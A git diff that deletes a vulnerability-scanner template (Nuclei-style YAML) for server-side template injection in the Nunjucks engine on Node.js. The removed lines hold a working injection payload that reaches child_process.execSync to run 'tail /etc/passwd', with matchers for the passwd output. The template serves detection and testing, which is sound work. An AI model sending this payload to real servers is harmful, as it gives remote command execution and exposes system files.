diff --git a/vulnerabilities/other/node-nunjucks-ssti.yaml b/vulnerabilities/other/node-nunjucks-ssti.yaml deleted file mode 100644 index 8cf03e6983..0000000000 --- a/vulnerabilities/other/node-nunjucks-ssti.yaml +++ /dev/null @@ -1,23 +0,0 @@ -id: node-nunjucks-ssti - -info: - name: Node Nunjucks SSTI - description: Nunjucks is a template engine for by Jinja2 used to develop web applications on Node.js web frameworks as Express or Connect. - reference: https://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine - author: geeknik - severity: high - tags: node,nunjucks,ssti - -requests: - - method: GET - path: - - "{{BaseURL}}/page?name={{range.constructor(\"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')\")()}}" - - matchers-condition: and - matchers: - - type: regex - regex: - - "root:[x*]:0:0:" - - type: status - status: - - 200